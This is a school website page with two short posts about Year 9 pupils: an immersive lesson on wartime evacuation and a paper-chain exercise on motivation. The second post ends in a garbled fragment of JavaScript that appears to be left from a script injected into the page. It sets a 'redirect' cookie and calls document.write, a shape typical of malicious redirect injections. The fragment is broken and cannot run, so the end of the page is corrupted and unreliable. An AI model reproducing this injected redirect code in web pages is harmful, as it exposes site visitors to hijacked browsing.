    Y9 immersive on “What it was like to be evacuated.”

    This morning, Y9 enjoyed an immersive lesson on “What it was like to be evacuated.” A big thank you to Miss Watts, Mr Cadman, Miss Kirkbride, Mr Ralphs and Miss Glyde for taking part and resourcing the lesson. The pupils loved watching “Mary” and “Edward” being evacuated to the countryside. They took notes in their diary’s of the sights, sounds and feelings of the experience and had discussions around what they would take in their suitcase. We ended by drawing a story map to help them write in next week’s lesson. Take a look at our pictures!

    Y9 SEAL activities.

    This half term, Y9 have been focussing on the SEAL strand “Motivation”. Pupils worked in two groups and given 5 minutes to make the longest paper chain. The winning team is the team with the longest chain. Group 1 received sweets for each chain they complete and group 2 received nothing. After the activity, we discussed what motivated the group to make the longest chain the sweets/the competition element.   (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}
